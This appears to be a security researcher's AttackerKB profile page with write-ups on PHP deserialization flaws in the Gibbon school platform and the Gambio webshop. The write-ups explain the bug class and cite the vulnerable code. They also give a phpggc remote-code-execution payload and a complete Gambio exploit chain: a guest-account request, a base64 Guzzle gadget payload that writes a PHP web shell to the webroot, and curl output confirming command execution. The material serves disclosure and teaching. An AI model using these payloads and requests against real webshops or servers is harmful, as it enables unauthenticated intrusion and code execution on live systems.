h00die-gr3y (106)

Last Login: May 17, 2024
Assessments
37
Score
106

h00die-gr3y's Latest (20) Contributions

Sort by:
Filter by:
1
Ratings
Technical Analysis

To be published soon.

1
Ratings
Technical Analysis

Th Gibbon web application v26.0.00 has a PHP deserialization vulnerability and I would like to use this particular example as a use case to explain a bit more how to find this type of vulnerabilities and how you can build your own exploit.

In some other articles, I already explained the concept of serialization and why it used in web application design, but let me quickly summarize the theory once more.

Serialization is the process of converting complex data structures, such as objects and their fields, into a format that can be sent and received as a sequential stream of bytes. Serializing data makes it much simpler to write complex data to inter-process memory, a file, or a database or send complex data, for example, over a network, between different components of an application, or in an API call.
The concept of serialization is very often used in application design to exchange data. Data objects get serialized, send and on the receiving end, de-serialized for further processing. Many programming languages offer native support for serialization where some languages serialize objects into binary formats, whereas others use different string formats.

So far, so good, but what is exactly insecure deserialization and why is it so dangerous?

Insecure deserialization is when user-controllable data is deserialized by a web application. This enables an attacker to manipulate serialized objects in order to pass harmful data into the application code. It is even possible to replace a serialized object with an object of an entirely different class. Even worse, objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. For this reason, insecure deserialization is sometimes known as an “object injection” vulnerability.
By doing this, an object of an unexpected class might cause an exception, however, the damage may already be done because many deserialization-based attacks are completed before deserialization is finished. This means that the deserialization process itself can initiate an attack, even if the web application’s own functionality does not directly interact with the malicious object.

Just a quick example of serialized data, so we understand the structure. We will use PHP serialization string format.
Take this object Clock.

$clock->type = "cuckoo";
$clock->isSold = true;

When serialized, this object may look something like below:

O:5:"Clock":2:{s:4:"type":s:6:"cuckoo"; s:6:"isSold":b:1;}

O:5:"Clock": - An object with the 4-character class name "Clock"
2: - the object has 2 attributes
s:4:"type" - The key of the first attribute is the 4-character string "type"
s:6:"cuckoo" - The value of the first attribute is the 6-character string "cuckoo"
s:6:"isSold" - The key of the second attribute is the 6-character string "isSold"
b:1 - The value of the second attribute is the boolean value true

The native methods for PHP serialization are serialize() and unserialize(). So If you have source code access, you should start by looking for unserialize() anywhere in the code to see if there is an opportunity to find and exploit an insecure deserialization vulnerability.

Let’s now have a closer look at the Gibbon web application and try to correlate the above theory with the discovered deserialization vulnerability at the web application.

If you read the description in the CVE published for Gibbon, it mentions a PHP deserialization vulnerability via columnOrder in a POST request to the modules/System%20Admin/import_run.php&type=externalAssessment&step=4.

So let’s have a look at the file import_run.php and check if we can find the unserialize() function that is typically used by PHP. The good thing is that Gibbon is open source so all the source code is available for analysis.

And indeed, there is unserialize() function in the file import_run.php and more important it has user-controllable parameters, such as columnOrder and columnText which makes this a potential candidate for insecure deserialization.

    //STEP 3 & 4, DRY & LIVE RUN  -----------------------------------------------------------------------------------
    elseif ($step==3 || $step==4) {
        // Gather our data
        $mode = $_POST['mode'] ?? null;
        $syncField = $_POST['syncField'] ?? null;
        $syncColumn = $_POST['syncColumn'] ?? null;

        $csvData = $_POST['csvData'] ?? null;
        if ($step==4) {
            //  DESERIALIZATION with user-controllable data !!!
            $columnOrder = isset($_POST['columnOrder'])? unserialize($_POST['columnOrder']) : null;
            $columnText = isset($_POST['columnText'])? unserialize($_POST['columnText']) : null;
        } else {
            $columnOrder = $_POST['columnOrder'] ?? null;
            $columnText = $_POST['columnText'] ?? null;
        }

        $fieldDelimiter = isset($_POST['fieldDelimiter'])? urldecode($_POST['fieldDelimiter']) : null;
        $stringEnclosure = isset($_POST['stringEnclosure'])? urldecode($_POST['stringEnclosure']) : null;

        $ignoreErrors = $_POST['ignoreErrors'] ?? false;

But the big question is still how to put this potential deserialization vulnerability into a working exploit where you can pull off a remote code execution or establish a privileged escalation.

A bit of theory again before we move on…
You have different ways to leverage a deserialization vulnerability by tampering the data, such as the object attributes or modifying data types where you can change the behavior and outcome of application functionality.
Another way, is to use the application functionality that is associated with the deserialized data. An example of this could be an use case where deseralized data is used to upload a personal image file as part of creating a new user. If the attacker can manipulate the filename object during deserialization process, he/she potentially could change the image file to point to a malicious malware file which will then be uploaded in the application.

However, the most common way to leverage a deserialization vulnerability is to make use of the so called Magic Methods and Gadget Chains.
Let’s quickly explain both concepts.

Magic methods are a special subset of methods that you do not have to explicitly invoke. Instead, they are invoked automatically whenever a particular event or scenario occurs. Magic methods are a common feature of object-oriented programming in various languages. They are sometimes indicated by prefixing or surrounding the method name with double-underscores.

Developers can add magic methods to a class in order to predetermine what code should be executed when the corresponding event or scenario occurs. Exactly when and why a magic method is invoked differs from method to method. One of the most common examples in PHP is __construct(), which is invoked whenever an object of the class is instantiated, similar to Python’s __init__. Important in this context, some languages have magic methods that are invoked automatically during the deserialization process. For example, PHP’s unserialize() method looks for and invokes an object’s __wakeup() magic method.
To construct a simple exploit, you typically would look for classes containing deserialization magic methods, and check whether any of them perform dangerous operations on controllable data. You can then pass in a serialized object of this class to use its magic method for an exploit.

Gadget Chains
Classes containing these deserialization magic methods can be used to initiate more complex attacks involving a long series of method invocations, known as a gadget chain. It is important to understand that a gadget chain is not a payload of chained methods constructed by the attacker. All of the code already exists on the web application. The only thing the attacker controls is the data that is passed into the gadget chain. This is typically done using a magic method that is invoked during deserialization, sometimes known as a kick-off gadget.

Now this a lot of information, but how do we apply this in practice?
Manually identifying gadget chains is a pretty complicated process that requires a deep understanding of the web application and you will need source code access in order to do this.

However, to make our life easier, there are pre-built gadget chains that you can try first.
Ambionics has build a library of pre-built gadget chains designed for PHP based web applications, called phpggc.

If installed, you can check which pre-built gadget chains are available.
It will tell you the name of the framework/library, the version of the framework/library for which gadgets are for, the type of exploitation such as RCE, File Write, File Read, Include…, and the vector (kickoff gadget) to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), …)

kali@cerberus:~/phpggc$ phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                                 TYPE                   VECTOR         I
Bitrix/RCE1                               17.x.x <= 22.0.300                                      RCE (Function call)    __destruct
CakePHP/RCE1                              ? <= 3.9.6                                              RCE (Command)          __destruct
CakePHP/RCE2                              ? <= 4.2.3                                              RCE (Function call)    __destruct
CodeIgniter4/RCE1                         4.0.2                                                   RCE (Function call)    __destruct
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.0.4+                                    RCE (Function call)    __destruct
CodeIgniter4/RCE3                         -4.1.3+                                                 RCE (Function call)    __destruct
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                              RCE (Function call)    __destruct
CodeIgniter4/RCE5                         -4.1.3+                                                 RCE (Function call)    __destruct
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                       RCE (Function call)    __destruct
Doctrine/FW1                              ?                                                       File write             __toString     *
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                          File write             __destruct     *
Doctrine/RCE1                             1.5.1 <= 2.7.2                                          RCE (PHP code)         __destruct     *
Doctrine/RCE2                             1.11.0 <= 2.3.2                                         RCE (Function call)    __destruct     *
Dompdf/FD1                                1.1.1 <= ?                                              File delete            __destruct     *
Dompdf/FD2                                ? < 1.1.1                                               File delete            __destruct     *
Drupal7/FD1                               7.0 < ?                                                 File delete            __destruct     *
Drupal7/RCE1                              7.0.8 < ?                                               RCE (Function call)    __destruct     *
Drupal9/RCE1                              -8.9.6 <= 9.4.9+                                        RCE (Function call)    __destruct     *
Guzzle/FW1                                4.0.0-rc.2 <= 7.5.0+                                    File write             __destruct
Guzzle/INFO1                              6.0.0 <= 6.3.2                                          phpinfo()              __destruct     *
Guzzle/RCE1                               6.0.0 <= 6.3.2                                          RCE (Function call)    __destruct     *
Horde/RCE1                                <= 5.2.22                                               RCE (PHP code)         __destruct     *
Kohana/FR1                                3.*                                                     File read              __toString     *
Laminas/FD1                               <= 2.11.2                                               File delete            __destruct
Laminas/FW1                               2.8.0 <= 3.0.x-dev                                      File write             __destruct     *
Laravel/RCE1                              5.4.27                                                  RCE (Function call)    __destruct
Laravel/RCE2                              5.4.0 <= 8.6.9+                                         RCE (Function call)    __destruct
Laravel/RCE3                              5.5.0 <= 5.8.35                                         RCE (Function call)    __destruct     *
Laravel/RCE4                              5.4.0 <= 8.6.9+                                         RCE (Function call)    __destruct
Laravel/RCE5                              5.8.30                                                  RCE (PHP code)         __destruct     *
Laravel/RCE6                              5.5.* <= 5.8.35                                         RCE (PHP code)         __destruct     *
Laravel/RCE7                              ? <= 8.16.1                                             RCE (Function call)    __destruct     *
Laravel/RCE8                              7.0.0 <= 8.6.9+                                         RCE (Function call)    __destruct     *
Laravel/RCE9                              5.4.0 <= 9.1.8+                                         RCE (Function call)    __destruct
Laravel/RCE10                             5.6.0 <= 9.1.8+                                         RCE (Function call)    __toString
Laravel/RCE11                             5.4.0 <= 9.1.8+                                         RCE (Function call)    __destruct
Laravel/RCE12                             5.8.35, 7.0.0, 9.3.10                                   RCE (Function call)    __destruct     *
Laravel/RCE13                             5.3.0 <= 9.5.1+                                         RCE (Function call)    __destruct     *
Laravel/RCE14                             5.3.0 <= 9.5.1+                                         RCE (Function call)    __destruct
Laravel/RCE15                             5.5.0 <= v9.5.1+                                        RCE (Function call)    __destruct
Laravel/RCE16                             5.6.0 <= v9.5.1+                                        RCE (Function call)    __destruct
Magento/FW1                               ? <= 1.9.4.0                                            File write             __destruct     *
Magento/SQLI1                             ? <= 1.9.4.0                                            SQL injection          __destruct
Magento2/FD1                              *                                                       File delete            __destruct     *
Monolog/FW1                               3.0.0 <= 3.1.0+                                         File write             __destruct     *
Monolog/RCE1                              1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+                         RCE (Function call)    __destruct
Monolog/RCE2                              1.4.1 <= 2.7.0+                                         RCE (Function call)    __destruct
Monolog/RCE3                              1.1.0 <= 1.10.0                                         RCE (Function call)    __destruct
Monolog/RCE4                              ? <= 2.4.4+                                             RCE (Command)          __destruct     *
Monolog/RCE5                              1.25 <= 2.7.0+                                          RCE (Function call)    __destruct
Monolog/RCE6                              1.10.0 <= 2.7.0+                                        RCE (Function call)    __destruct
Monolog/RCE7                              1.10.0 <= 2.7.0+                                        RCE (Function call)    __destruct     *
Monolog/RCE8                              3.0.0 <= 3.1.0+                                         RCE (Function call)    __destruct     *
Monolog/RCE9                              3.0.0 <= 3.1.0+                                         RCE (Function call)    __destruct     *
Phalcon/RCE1                              <= 1.2.2                                                RCE                    __wakeup       *
Phing/FD1                                 2.6.0 <= 3.0.0a3                                        File delete            __destruct
PHPCSFixer/FD1                            <= 2.17.3                                               File delete            __destruct
PHPCSFixer/FD2                            <= 2.17.3                                               File delete            __destruct
PHPExcel/FD1                              1.8.2+                                                  File delete            __destruct
PHPExcel/FD2                              <= 1.8.1                                                File delete            __destruct
PHPExcel/FD3                              1.8.2+                                                  File delete            __destruct
PHPExcel/FD4                              <= 1.8.1                                                File delete            __destruct
PHPSecLib/RCE1                            2.0.0 <= 2.0.34                                         RCE (PHP code)         __destruct     *
Pydio/Guzzle/RCE1                         < 8.2.2                                                 RCE (Function call)    __toString
Slim/RCE1                                 3.8.1                                                   RCE (Function call)    __toString
Smarty/FD1                                ?                                                       File delete            __destruct
Smarty/SSRF1                              ?                                                       SSRF                   __destruct     *
Spiral/RCE1                               2.7.0 <= 2.8.13                                         RCE (Function call)    __destruct
Spiral/RCE2                               -2.8+                                                   RCE (Function call)    __destruct     *
SwiftMailer/FD1                           -5.4.12+, -6.2.1+                                       File delete            __destruct
SwiftMailer/FD2                           5.4.6 <= 5.x-dev                                        File delete            __destruct     *
SwiftMailer/FR1                           6.0.0 <= 6.3.0                                          File read              __toString
SwiftMailer/FW1                           5.1.0 <= 5.4.8                                          File write             __toString
SwiftMailer/FW2                           6.0.0 <= 6.0.1                                          File write             __toString
SwiftMailer/FW3                           5.0.1                                                   File write             __toString
SwiftMailer/FW4                           4.0.0 <= ?                                              File write             __destruct
Symfony/FD1                               v3.2.7 <= v3.4.25 v4.0.0 <= v4.1.11 v4.2.0 <= v4.2.6    File delete            __destruct
Symfony/FW1                               2.5.2                                                   File write             DebugImport    *
Symfony/FW2                               3.4                                                     File write             __destruct
Symfony/RCE1                              v3.1.0 <= v3.4.34                                       RCE (Command)          __destruct     *
Symfony/RCE2                              2.3.42 < 2.6                                            RCE (PHP code)         __destruct     *
Symfony/RCE3                              2.6 <= 2.8.32                                           RCE (PHP code)         __destruct     *
Symfony/RCE4                              3.4.0-34, 4.2.0-11, 4.3.0-7                             RCE (Function call)    __destruct     *
Symfony/RCE5                              5.2.*                                                   RCE (Function call)    __destruct
Symfony/RCE6                              v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13       RCE (Command)          __destruct     *
Symfony/RCE7                              v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7    RCE (Function call)    __destruct
Symfony/RCE8                              v3.4.0 <= v4.4.18 v5.0.0 <= v5.2.1                      RCE (Function call)    __destruct
TCPDF/FD1                                 <= 6.3.5                                                File delete            __destruct     *
ThinkPHP/FW1                              5.0.4-5.0.24                                            File write             __destruct     *
ThinkPHP/FW2                              5.0.0-5.0.03                                            File write             __destruct     *
ThinkPHP/RCE1                             5.1.x-5.2.x                                             RCE (Function call)    __destruct     *
ThinkPHP/RCE2                             5.0.24                                                  RCE (Function call)    __destruct     *
ThinkPHP/RCE3                             -6.0.1+                                                 RCE (Function call)    __destruct
ThinkPHP/RCE4                             -6.0.1+                                                 RCE (Function call)    __destruct
Typo3/FD1                                 4.5.35 <= 10.4.1                                        File delete            __destruct     *
vBulletin/RCE1                            -5.6.9+                                                 RCE (Function call)    __destruct
WordPress/Dompdf/RCE1                     0.8.5+ & WP < 5.5.2                                     RCE (Function call)    __destruct     *
WordPress/Dompdf/RCE2                     0.7.0 <= 0.8.4 & WP < 5.5.2                             RCE (Function call)    __destruct     *
WordPress/Guzzle/RCE1                     4.0.0 <= 6.4.1+ & WP < 5.5.2                            RCE (Function call)    __toString     *
WordPress/Guzzle/RCE2                     4.0.0 <= 6.4.1+ & WP < 5.5.2                            RCE (Function call)    __destruct     *
WordPress/P/EmailSubscribers/RCE1         4.0 <= 4.4.7+ & WP < 5.5.2                              RCE (Function call)    __destruct     *
WordPress/P/EverestForms/RCE1             1.0 <= 1.6.7+ & WP < 5.5.2                              RCE (Function call)    __destruct     *
WordPress/P/WooCommerce/RCE1              3.4.0 <= 4.1.0+ & WP < 5.5.2                            RCE (Function call)    __destruct     *
WordPress/P/WooCommerce/RCE2              <= 3.4.0 & WP < 5.5.2                                   RCE (Function call)    __destruct     *
WordPress/P/YetAnotherStarsRating/RCE1    ? <= 1.8.6 & WP < 5.5.2                                 RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE1                   1.8.2+ & WP < 5.5.2                                     RCE (Function call)    __toString     *
WordPress/PHPExcel/RCE2                   <= 1.8.1 & WP < 5.5.2                                   RCE (Function call)    __toString     *
WordPress/PHPExcel/RCE3                   1.8.2+ & WP < 5.5.2                                     RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE4                   <= 1.8.1 & WP < 5.5.2                                   RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE5                   1.8.2+ & WP < 5.5.2                                     RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE6                   <= 1.8.1 & WP < 5.5.2                                   RCE (Function call)    __destruct     *
Yii/RCE1                                  1.1.20                                                  RCE (Function call)    __wakeup       *
Yii/RCE2                                  1.1.20                                                  RCE (Function call)    __destruct
Yii2/RCE1                                 <2.0.38                                                 RCE (Function call)    __destruct     *
Yii2/RCE2                                 <2.0.38                                                 RCE (PHP code)         __destruct     *
ZendFramework/FD1                         ? <= 1.12.20                                            File delete            __destruct
ZendFramework/RCE1                        ? <= 1.12.20                                            RCE (PHP code)         __destruct     *
ZendFramework/RCE2                        1.11.12 <= 1.12.20                                      RCE (Function call)    __toString     *
ZendFramework/RCE3                        2.0.1 <= ?                                              RCE (Function call)    __destruct
ZendFramework/RCE4                        ? <= 1.12.20                                            RCE (PHP code)         __destruct     *
ZendFramework/RCE5                        2.0.0rc2 <= 2.5.3                                       RCE (Function call)    __destruct

Yeah, this definitely helps, but we need to figure out first which gadget chains are supported by our Gibbon web application.
If we look at the directory where Gibbon is installed, typically /var/www or /var/www/html depending on the webroot setting, you will find a directory vendor. Running the ls command will list the framework/libraries that are installed and supported by the web application.

root@cuckoo:/var/www/vendor# ls
aura          ezyang      league        moneyphp  omnipay    phpoffice  setasign
autoload.php  firebase    maennchen     monolog   paragonie  phpseclib  slim
clue          fzaninotto  markbaker     mpdf      parsecsv   psr        symfony
composer      google      matthewbdaly  myclabs   php-http   ralouphie  tecnickcom
eluceo        guzzlehttp  microsoft     nikic     phpmailer  robthree   twig

And indeed you can see that there are frameworks/libraries listed that are part of our gadget chain list, such as monolog and symfony.

Ok, so we have some pre-built gadget chains options that we can try, but we also need to figure if the versions installed are supported.
Let’s explore monolog a bit deeper and check CHANGELOG.md which version is installed.

root@cuckoo:/var/www/vendor/monolog/monolog# cat CHANGELOG.md
### 1.27.1 (2022-06-09)

  * Fixed MandrillHandler support for SwiftMailer 6 (#1676)
  * Fixed StreamHandler chunk size (backport from #1552)

### 1.27.0 (2022-03-13)

  * Added $maxDepth / setMaxDepth to NormalizerFormatter / JsonFormatter to configure the maximum depth if the default of 9 does not work for you (#1633)

Version 1.27.1 is installed, so the next question is which pre-built monolog gadget chains can we use?
There is a nice python script test-gc-compatibility.py as part of phpggc that does this job for us.

kali@cerberus:~/phpggc$ python ./test-gc-compatibility.py monolog/monolog:1.27.1 monolog/fw1 monolog/rce1 monolog/rce2 monolog/rce3 monolog/rce4 monolog/rce5 monolog/rce6 monolog/rce7 monolog/rce8 monolog/rce9 -w 4
Running on PHP version PHP 8.2.12 (cli) (built: Jan  8 2024 02:15:58) (NTS).
Testing 1 versions for monolog/monolog against 10 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/fw1 ┃ monolog/rce1 ┃ monolog/rce2 ┃ monolog/rce3 ┃ monolog/rce4 ┃ monolog/rce5 ┃ monolog/rce6 ┃ monolog/rce7 ┃ monolog/rce8 ┃ monolog/rce9 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 1.27.1          │   OK    │     KO      │      OK      │      OK      │      KO      │      KO      │      OK      │      OK      │      OK      │      KO      │      KO      │
└─────────────────┴─────────┴─────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┘
kali@cerberus:~/phpggc$

So we have quite some options that we can test.

To generate the serialized data with the payload for a particular gadget chain, you can run the following command: ./phpggc -f monolog/rce1 system id which generates the gadget chain monolog/rce1 with the payload. In this case, the serialized data gets deserialized and the id command gets executed using the system function call.
It is important, that it does not really matter if the instantiation of this object makes logical sense from an application perspective. We are manipulating the serialized data generated by the web application and pushing it to a supported gadget chain that will generate an object instance and hopefully execute the payload during the deserialization process. The -f option applies the fast-destruct technique, so that the object is destroyed right after the unserialize() call, as opposed to at the end of the script.

kali@cerberus:~/phpggc$ ./phpggc -f monolog/rce1 system id
a:2:{i:7;O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:3;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}i:7;i:7;}

Important: there are null bytes in the serialized data, for example *socket is \x00*\x00socket and therefore the size is 9 and not 7.
This applies for all the *items.

I have created an exploit that is are published as official module Gibbon Online School Platform Authenticated RCE [CVE-2024-24725] in Metasploit. If you review the module, you will see most of the above theory and discussions back in the exploit code.

Summary

Deserialization flaws are pretty common in web application design.
Here are some simple steps to identify and exploit potential deserialization vulnerabilities in the application code:

  1. get access to the application source code;
  2. search for the language specific serialization and deserialization functions in the code. For PHP, these functions are serialize() and unserialize();
  3. check if user-controlled parameters are part of serialize and deserialize process;
  4. check the availability of pre-built gadget chains that are supported by your web application and can be leveraged; and
  5. last but not least, try and error until the magic happens ;–)

Till next time….

References

CVE-2024-24725
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Metasploit PR 19044: Gibbon Online School Platform Authenticated RCE [CVE-2024-24725]

Credits

Credits go to the security researchers below whom discovered this vulnerability

  • SecondX.io Research Team (Ali Maharramli, Fikrat Guliev, Islam Rzayev )
2
Ratings
Technical Analysis

As discussed in my previous attackerkb article CVE-2024-2054 , here another example of a Deserialization of Untrusted Data (DUD) vulnerability.
In this case, it is present at the online e-commerce webshop made by Gambio. If you launch their main website, it shows you that around 20.000 Webshops are live. I did a search with Shodan using http.component:"Gambio" and I could only find a limited amount of webshops, (around 300) but nevertheless the majority of these webshops are still vulnerable.

The main issue sits in the search parameter of the Parcelshopfinder/AddAddressBookEntry function which is de-serialized without checking the data.

The ParcelshopfinderController.inc.php file contains this vulnerable function (line 291).

$postnumber = abs(filter_var($postnumber, FILTER_SANITIZE_NUMBER_INT));    
if ($postnumber == 0 || $this->isValidPostnummer($postnumber) !== true) {        
    $search    = unserialize(base64_decode($this->_getPostData('search')));
    $psfParams = [
            'street'          => $search[0],
            'house'           => $search[1],
            'zip'             => $search[2],
            'city'            => $search[3],
            'country'         => $search[4],
            'firstname'       => $firstname,
            'lastname'        => $lastname,
            'postnumber'      => $postnumber,
            'additional_info' => $additional_info,
            'error'           => 'invalid_postnumber',
    ];
}

The application is using “Guzzle” which can be used as a gadget chain to receive arbitrary code execution by writing arbitrary files.

The following data triggers this vulnerability when encoded with base64
"O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}"

echo -e "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}" | base64 -w0
TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K

and using the following HTTP POST request:

POST /shop.php?do=Parcelshopfinder/AddAddressBookEntry HTTP/1.1
Host: your_webshop_ip
Content-Type: application/x-www-form-urlencoded
Cookie: your_cookie

checkout_started=0&search=TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K&street_address=timestreet&house_number=10&additional_info=&postcode=000&city=bigben&country=DE&firstname=cuckoo&lastname=clock&postnumber=111111&psf_name=t

You should get a HTTP 500 error and the response should show <h1>Unexpected error occurred...</h1>Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array.

However, it is important to obtain a valid session cookie first in order to execute the above POST request successfully.
You can obtain this session cookie by first creating a guest user in the online web application using the HTTP POST request below.
This does not require any pre-authentication to be successful.

POST /shop.php?do=CreateGuest/Proceed HTTP/1.1
Host: your_webshop_ip
Content-Type: application/x-www-form-urlencoded

firstname=cuckoo&lastname=clock&email_address=cuckoo@clock.com&email_address_confirm=cuckoo@clock.com&b2b_status=0&company=&vat=&street_address=timestreet&postcode=11111&city=bigben&country=8&telephone=4912312312312&fax=&action=process

IMPORTANT NOTE: Use value 8 for country otherwise this request is not successful. You should get a 302 and in the admin page of your online webshop the user should show up at the guest section.

If all goes well, a file cuckoo.php gets created in the webroot directory with the PHP code <?php echo system('whoami');?>.

root@cuckoo:~# cd /var/www
root@cuckoo:/var/www# ls -l cuckoo.php
-rw-r--r-- 1 www-data www-data 165 Mar 29 08:51 cuckoo.php
root@cuckoo:/var/www# cat cuckoo.php
[{"Expires":1,"Discard":false,"Value":"<?php echo system('whoami');?>","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]

When called for instance with curl http://your_webshop_ip/cuckoo.php, it should give you back the user under which the web service is running.

curl http://192.168.201.25/cuckoo.php
[{"Expires":1,"Discard":false,"Value":"www-data
www-data","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]

I have created a Metasploit module that will exploit this vulnerability Metasploit PR 19005: Gambio Webshop unauthenticated RCE.

Mitigation

If you want to test the module, you can download a vulnerable Gambio online webshop software from here. The version 4 branch of Gambio online webshop is vulnerable starting from version 4.9.2.0 or lower. The version 3 branch is not vulnerable. You are strongly advised to upgrade your webshop to the latest version, but at least to a version greater then 4.9.2.0.

References

CVE-2024-23759
Herolab usd Advisory usd-2023-0046
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Gambio Webshop Downloads
Metasploit PR 19005: Gambio Webshop unauthenticated RCE

Credits

Credits goes to the security researchers below who discovered this vulnerability.

  • Christian Poeschl and Lukas Schraven from Herolab usd.
2
Ratings
Technical Analysis

One of the common vulnerabilities that is still around and pretty common nowadays is the Deserialization of Untrusted Data (DUD).
